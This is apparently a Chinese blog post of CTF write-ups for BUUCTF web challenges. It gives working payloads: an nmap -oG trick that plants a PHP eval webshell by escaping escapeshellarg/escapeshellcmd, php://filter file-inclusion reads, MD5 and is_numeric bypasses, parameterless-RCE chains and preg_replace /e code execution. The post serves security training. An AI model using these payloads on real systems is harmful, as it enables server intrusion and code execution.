buuoj_code_audit

[BUUCTF 2018]Online Tool

知识点:escapeshellarg()和escapeshellcmd()函数漏洞、nmap的文件写入

打开靶场就是代码审计

 

remote_addr和x_forwarded_for这两个是常见的服务器获取ip,问题应该不在这。

escapeshellarg()和escapeshellcmd()百度一下,发现这两个函数组合在一起有漏洞,举例如下:

1.传入的参数是:172.17.0.2' -v -d a=1

2.经过escapeshellarg处理后变成了'172.17.0.2'\'' -v -d a=1',即先对单引号转义,再用单引号将左右两部分括起来从而起到连接的作用。

3.经过escapeshellcmd处理后变成'172.17.0.2'\\'' -v -d a=1\',这是因为escapeshellcmd对\以及最后那个不配对儿的引号进行了转义。

4.最后执行的命令是curl '172.17.0.2'\\'' -v -d a=1\',由于中间的\\被解释为\而不再是转义字符,所以后面的'没有被转义,与再后面的'配对儿成了一个空白连接符。所以可以简化为curl 172.17.0.2\ -v -d a=1',即向172.17.0.2\发起请求,POST 数据为a=1'。

 

接着审计代码echo system("nmap -T5 -sT -Pn --host-timeout 2 -F ".$host);

这有个system来执行命令,而且有传参,肯定是利用这里了。

这里代码的本意是希望我们输入ip这样的参数做一个扫描,通过上面的两个函数来进行规则过滤转译,输入会被单引号引起来,但是因为有上面的漏洞所以可以逃脱这个引号的束缚。

常见的命令后注入操作如 | & &&都不行,虽然我们通过上面的操作逃过了单引号,但escapeshellcmd会对这些特殊符号前面加上\来转义。

这时候就只有想想能不能利用nmap来做些什么了。搜索可以发现在nmap命令中有一个参数-oG可以实现将命令和结果写到文件,这个命令就使我们的输入可控,然后写入到文件,可以上传一个一句话木马。

?host=' <?php @eval($_POST["hack"]);?> -oG hack.php '

执行后会返回文件夹名

 

然后蚁剑连接,找到flag

 

 

 

一些细节的错误会导致无法访问,例如:

1.后面没有加引号

?host=' <?php @eval($_POST["hack"]);?> -oG hack.php

 

输出:''\\'' \<\?php phpinfo\(\)\;\?\> -oG test.php\'

返回结果是文件名后面会多一个引号

2.加引号但引号前没有空格

?host=' <?php @eval($_POST["hack"]);?> -oG hack.php'

输出:''\\'' \<\?php phpinfo\(\)\;\?\> -oG test.php'\\'''

文件名后面就会多出\\

 

参考:https://blog.csdn.net/qq_26406447/article/details/100711933

 

[极客大挑战 2019]Secret File

主页提示

 

F12看一下源代码发现 Archive_room.php 页面

 

点击 secret 按钮页面会跳转到 end.php

 

提示“没看清”,用 burp 抓包发现提示 secr3t.php 

 

访问 secr3t.php 看到一小段源码

 

访问 flag.php 看到“我就在这里”的提示

 

所以思路是审计 php 代码片段,用文件包含漏洞读取 flag.php 源码,传入的 file 经过了一些过滤,但是仍可以使用 php://filter 获取文件,payload:http://5bdc0d10-b0a7-4f18-9983-09b5b9612be8.node3.buuoj.cn/secr3t.php?file=php://filter/convert.base64-encode/resource=flag.php 复制加密内容 base64 解密即可得到 flag

 

参考:

https://www.cnblogs.com/g0udan/p/12244878.html

 

[MRCTF2020]Ez_bypass

f12 得到格式化好的源码

I put something in F12 for you
include 'flag.php';
$flag='MRCTF{xxxxxxxxxxxxxxxxxxxxxxxxx}';
if(isset($_GET['gg'])&&isset($_GET['id'])) {
    $id=$_GET['id'];
    $gg=$_GET['gg'];
    if (md5($id) === md5($gg) && $id !== $gg) {
        echo 'You got the first step';
        if(isset($_POST['passwd'])) {
            $passwd=$_POST['passwd'];
            if (!is_numeric($passwd))
            {
                 if($passwd==1234567)
                 {
                     echo 'Good Job!';
                     highlight_file('flag.php');
                     die('By Retr_0');
                 }
                 else
                 {
                     echo "can you think twice??";
                 }
            }
            else{
                echo 'You can not get it !';
            }

        }
        else{
            die('only one way to get the flag');
        }
}
    else {
        echo "You are not a real hacker!";
    }
}
else{
    die('Please input first');
}
}Please input first

 

主要就是这两句代码,绕过得到 flag

if (md5($id) === md5($gg) && $id !== $gg)
payload:?id[]=a&gg[]=b
if (!is_numeric($passwd) && $passwd==1234567)
payload:passwd=1234567a

 

[GXYCTF2019]禁止套娃

扫描器扫到 .git 文件,githack 恢复出 index.php

<?php
include "flag.php";
echo "flag在哪里呢?<br>";
if(isset($_GET['exp'])){
    if (!preg_match('/data:\/\/|filter:\/\/|php:\/\/|phar:\/\//i', $_GET['exp'])) {
        if(';' === preg_replace('/[a-z,_]+\((?R)?\)/', NULL, $_GET['exp'])) {
            if (!preg_match('/et|na|info|dec|bin|hex|oct|pi|log/i', $_GET['exp'])) {
                // echo $_GET['exp'];
                @eval($_GET['exp']);
            }
            else{
                die("还差一点哦!");
            }
        }
        else{
            die("再好好想想!");
        }
    }
    else{
        die("还想读flag,臭弟弟!");
    }
}
// highlight_file(__FILE__);
?>

 

分析源码

<?php
include "flag.php";
//flag应该在flag.php
echo "flag在哪里呢?<br>";
if(isset($_GET['exp'])){          
//需要以GET形式传入一个名为exp的参数。如果满足条件会执行这个exp参数的内容
    if (!preg_match('/data:\/\/|filter:\/\/|php:\/\/|phar:\/\//i', $_GET['exp'])) {
//过滤了常用的几个伪协议,不能以伪协议读取文件
        if(';' === preg_replace('/[a-z,_]+\((?R)?\)/', NULL, $_GET['exp'])) {
//(?R)引用当前表达式,(?R)? 这里多一个?表示可以有引用,也可以没有。它所匹配的就是a(b(c()));类似这种可以括号和字符组成的无参数的函数
            if (!preg_match('/et|na|info|dec|bin|hex|oct|pi|log/i', $_GET['exp'])) {
//正则匹配到一些关键字,禁用一些函数
                @eval($_GET['exp']);
//典型的无参数RCE

 

想办法读取 flag.php,首先需要得到当前目录下的文件,scandir() 函数可以扫描当前目录下的文件

<?php
print_r(scandir('.'));
?>

 

所以如果有函数能够返回点(.)的话,就可以利用它作为 scandir() 函数的参数

  • localeconv() 函数返回一包含本地数字及货币格式信息的数组。而数组第一项就是点(.)
  • current() 返回数组中的当前单元, 默认取第一个值
  • pos() 函数是 current() 的别名
  • current(localeconv())永远都是个点
?exp=print_r(scandir(current(localeconv())));
?exp=print_r(scandir(pos(localeconv())));

 

现在的目标是读取倒数第二个数组 flag.php,把数组顺序颠倒一下,然后使用 next() 函数就可以读到 flag 了

  • next() 函数将内部指针指向数组中的下一个元素并输出
  • array_reverse() 函数返回翻转顺序的数组
  • highlight_file() 和别名函数 show_source() 都可以读源码
?exp=show_source(next(array_reverse(scandir(current(localeconv())))));
?exp=highlight_file(next(array_reverse(scandir(pos(localeconv())))));

 

[BJDCTF2020]ZJCTF,不过如此

打开题目代码审计

<?php

error_reporting(0);
$text = $_GET["text"];
$file = $_GET["file"];    
if(isset($text)&&(file_get_contents($text,'r')==="I have a dream")){
    echo "<br><h1>".file_get_contents($text,'r')."</h1></br>";
    if(preg_match("/flag/",$file)){
        die("Not now!");
    }

    include($file);  //next.php
    
}
else{
    highlight_file(__FILE__);
}
?>

 

通过 text 传参绕过第一个 if

?text=data://text/plain,I have a dream

 

flag 被过滤了,但是提示有 next.php,读一下源码

file=php://filter/convert.base64-encode/resource=next.php

 

读出的 next.php base64 解码

<?php
$id = $_GET['id'];
$_SESSION['id'] = $id;

function complex($re, $str) {
    return preg_replace(
        '/(' . $re . ')/ei',
        'strtolower("\\1")',
        $str
    );
}


foreach($_GET as $re => $str) {
    echo complex($re, $str). "\n";
}

function getFlag(){
    @eval($_GET['cmd']);
}

 

preg_replace /e 模式下的代码执行问题这篇文章分析的很详细 https://xz.aliyun.com/t/2557

//将第一行代码构造成第二行的模式
preg_replace( '/(' . $re . ')/ei','strtolower("\\1")', $str);
preg_replace('.*')/ei','strtolower("\\1")', {${此处填函数名}});

 

但是直接构造 .*=${phpinfo()} 会出问题,传上去的 .* 变成了 _*,这是由于在PHP中,对于传入的非法的 $_GET 数组参数名,会将其转换成下划线,构造如下参数可以成功执行命令

?\S*=${phpinfo()}

 

再利用源码中的 getFlag 函数读取 flag

?\S*=${getFlag()}&cmd=system('cat /flag');

 

posted @ 2020-02-09 10:59  beiwo  阅读(317)  评论(0编辑  收藏  举报